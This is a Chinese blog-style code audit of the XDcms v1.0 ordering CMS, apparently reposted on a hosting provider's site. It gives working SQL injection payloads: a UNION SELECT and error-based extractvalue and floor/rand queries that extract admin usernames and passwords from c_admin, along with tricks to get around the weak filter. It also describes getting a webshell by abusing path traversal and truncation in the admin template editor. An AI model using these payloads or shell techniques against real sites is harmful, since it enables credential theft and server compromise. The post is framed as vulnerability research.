鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

代码审计实例-XDcms SQL注入

来源:互联网 作者:佚名 时间:2015-08-26 07:47
分析目标 XDcms订餐网站系统 v1.0 XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订 餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Goo
分析目标

XDcms订餐网站系统  v1.0
XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订 餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接 口完美整合等功能于一体的完全开源的高级订餐网站管理系统。作为国内最受欢迎的PHP类订餐网站系统之一,XDcms在不断提升用户服务、提高产品质量的 同时更加注重用户体验。从系统研发至今,历经了数百次的更新修改后,网站的架设与管理变得更加轻松及便捷。
官网:http://www.xdcms.cn/

正文:

一次在看别人的审计文章中看到了这个cms,挺简单的一个注入,然后我自己也去把这cms最新版下载下来看看。

原始漏洞发生位置:

还是补掉了嘛,intval()转换成整形了。

然后自己再去看看有其他的洞没。

看了会看到了这个文件:

systemmodulesmemberindex.php

内容如下:

$username通过 post['username']来获得。

然后经过safe_html函数的过滤就带入了下面的查询中。



if(empty($username)||empty($password2)||empty($password)){
   showmsg(C('material_not_complete'),'-1');
  }  // 判断$username $password2 $password 是不是为空的 如果有一个为空就true 然后输出输入不完整嘛。
  if(!strlength($username,5)){
   showmsg(C('username').C('str_len_error').'5','-1');
  }       //   有了!  true 就是false `  false 就是true   字符个数不能小于5 
  if(!strlength($password,5)){
   showmsg(C('password').C('str_len_error').'5','-1');
  }           // same
  if($password!=$password2){
   showmsg(C('password_different'),'-1'); // 两次密码要一样。
 

看调用的这个过滤函数,过滤得不好,大小写参数未指定,而且替换成空。
我是用的第一种,我看那人是用的第二种。



num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
 
 
  调用的mysql类里面的num_rows。

查询出来了然后只要让


$username= a' uNioN sElEct 1,2,username,4,5,6,7,8,9,10,11,12,13,14 fRom c_admin #就行了

提交后提示:

提示会员存在了。

num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
 
 
  因为这个就是用来查询是否存在的,查询出来了数据就提示会员存在了。

然后准备用sqlmap 来Post注入。

level 设置高点 虽然是找到了payload 但是跑不出来数据。
这是因为Num_rows 只会返回影响了多少多少行数据。

感觉好像就是返回这个,所以就不能跑出数据把。
来报错注入把。


 
  select * from c_admin where `username`='admin' aNd(seLect 1 fRom(seLect count(*),concat(floor(rand(0)*2),0x3a,(selEct(seleCt(SELECT concat(username,0x3a,password)FROM c_admin limit 0,1))froM information_schema.tables limit 0,1))x froM information_schema.tables gRoup by x)a) anD 1=1#'

但是过滤掉了*和=,1=1还可以用2>1来,替换count(*) 替换成 count(1) 依旧也能报错,但是rand(*) 这个我不知道怎么搞了。

换一个报错语句把。


 
  admin' aNd extractvalue(1, concat(0x5c, (SELECT concat(username,0x3a,password)FROM c_admin limit 0,1)));#

ok。
经过laterain的教导,第一个语句其实也可以不用*


admin' and 1=2 and (select 1 from
(select count(-1),concat((select password from c_admin limit 0,1),round(rand(0)
)) as a from information_schema.tables group by a) as b);#'

我看的是member/index.php,别人是看的后台index.php。唉,我就没看到后台绕过了。
后台拿SHELL

顺便说说后台拿shell


我看那个文章还更新了下,说他并没有研究出后台拿shell。我自己也就去看了下 我也没去研究后台插配置那些,他说的是模版只能替换html的文件。确实只能编辑已有的文件,而且也只能是html文件,连 htm都不能。

 
<span style='line-height: 19px; font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; font-size: 13px;'>systemtemplatesxdcms

 
3 模版的文件都在这个目录 需要跳三级才可以跳到根目录。</span>

尝试替换根目录下的index.php

替换php不行 只能html 怎么办呢?
截断它把!

拿到shell后 要给Index.php 复原。

 
<?php
if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}
require dirname(__FILE__).'/system/common.inc.php';
?>

要不站点就会挂的。

而且也最好不替index.php  如果你的马儿不免杀,被杀掉的话index.php就没了,这个站也就挂了。
大家找找哪个文件没什么用就替换哪个把。
这就是替换后的效果。


网友评论
<